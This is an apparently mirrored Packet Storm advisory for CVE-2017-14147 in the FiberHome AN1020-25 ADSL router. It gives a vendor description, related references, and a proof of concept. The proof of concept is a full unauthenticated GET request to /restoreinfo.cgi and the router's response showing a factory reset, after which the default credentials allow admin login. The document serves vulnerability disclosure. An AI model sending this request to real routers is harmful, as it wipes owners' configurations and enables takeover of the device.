FiberHome Unauthenticated ADSL Router Factory Reset

🗓️ 06 Sep 2017 00:00:00Reported by Ibad ShahType

packetstorm🔗 packetstormsecurity.com👁 110 Views

FiberHome AN1020-25 Router Unauthenticated Factory Reset Vulnerability Identifie

Reporter	Title	Published	Views	Family All 11
0day.today	FiberHome Unauthenticated ADSL Router Factory Reset Vulnerability	7 Sep 201700:00	–	zdt
0day.today	FiberHome ADSL AN1020-25 - Improper Access Restrictions Vulnerability	11 Sep 201700:00	–	zdt
CNVD	FiberHome User End Routers Bearing Access Authentication Bypass Vulnerability	21 May 201800:00	–	cnvd
Check Point Advisories	Multiple Routers Unauthenticated Router Factory Reset (CVE-2017-14147)	18 Sep 201700:00	–	checkpoint_advisories
CVE	CVE-2017-14147	7 Sep 201714:00	–	cve
Cvelist	CVE-2017-14147	7 Sep 201714:00	–	cvelist
Exploit DB	FiberHome ADSL AN1020-25 - Improper Access Restrictions	5 Sep 201700:00	–	exploitdb
exploitpack	FiberHome ADSL AN1020-25 - Improper Access Restrictions	5 Sep 201700:00	–	exploitpack
NVD	CVE-2017-14147	7 Sep 201714:29	–	nvd
Prion	Authentication flaw	7 Sep 201714:29	–	prion

`Title:  
====  
  
FiberHome Unauthenticated ADSL Router Factory Reset.  
  
Credit:  
======  
  
Name: Ibad Shah  
Twitter: @BeeFaauBee09  
Website: beefaaubee09.github.io  
  
  
CVE:  
=====  
  
CVE-2017-14147  
  
Date:  
====  
  
05-09-2017 (dd/mm/yyyy)  
  
About FiberHome:  
======  
  
FiberHome Technologies is a leading equipment vendor and global solution provider the field of information technology and telecommunications. FiberHome Deals in fiber-optic communications, data networking communications, wireless communication, and intelligentizing applications. In particular, it has been providing end-to-end solutions integrated with opto-electronic devices, opticpreforms, fiber & cables, and optical communication systems to many countries around the world.  
  
Products & Services:  
Wireless 3G/4G broadband devices  
Custom engineered technologies  
Broadband devices  
  
URL : http://www.fiberhomegroup.com/  
  
  
Description:  
=======  
  
This vulnerability in AN1020-25 router enables an anonymous unauthorized attacker to bypass authentication & access Resetting Router to Factory Settings, resulting in un-authorized operation & resetting it to Factory state. It later allows attacker to login to Router's Main Page with default username & password.   
  
  
  
Affected Device Model:  
=============  
  
FiberHome ADSL AN1020-25  
  
  
Exploitation-Technique:  
===================  
  
Remote  
  
  
Details:  
=======  
  
Below listed vulnerability enables an anonymous unauthorized attacker to reset router to it's factory settings & further access router admin page with default credentials.  
  
1) Bypass authentication and gain unauthorized access vulnerability - CVE-2017-14147  
  
Vulnerable restoreinfo.cgi  
  
  
  
Proof Of Concept:  
================  
  
PoC :   
  
GET /restoreinfo.cgi HTTP/1.1  
Host: 192.168.1.1  
Upgrade-Insecure-Requests: 1  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.8  
Connection: close  
  
  
HTTP/1.1 200 Ok  
Server: micro_httpd  
Cache-Control: no-cache  
Date: Sat, 01 Jan 2000 00:12:39 GMT  
Content-Type: text/html  
Connection: close  
  
<html>  
<head>  
<meta HTTP-EQUIV='Pragma' CONTENT='no-cache'>  
<link rel=stylesheet href='stylemain.css' type='text/css'>  
<link rel=stylesheet href='colors.css' type='text/css'>  
<script language="javascript">  
<!-- hide  
  
function restore() {  
var enblPopWin = '0';  
var loc = 'main.html';  
var code = 'window.top.location="' + loc + '"';  
  
if ( enblPopWin == '1' ) {  
loc = 'index.html';  
code = 'location="' + loc + '"';  
}  
  
eval(code);  
}  
  
function frmLoad() {  
setTimeout("restore()", 60000);  
}  
  
// done hiding -->  
</script>  
</head>  
  
<body onLoad='frmLoad()'>  
<blockquote>  
<b>DSL Router Restore</b><br><br>  
The DSL Router configuration has been restored to default settings and the  
router is rebooting.<br><br>  
Close the DSL Router Configuration window and wait for 2 minutes before  
reopening your web browser. If necessary, reconfigure your PC's IP address to  
match your new configuration.  
</blockquote>  
</body>  
</html>  
  
  
  
Credits:  
=======  
  
Ibad Shah, Taimooor Zafar, Owais Mehtab  
`

06 Sep 2017 00:00Current

0.6Low risk

Vulners AI Score0.6

EPSS0.73439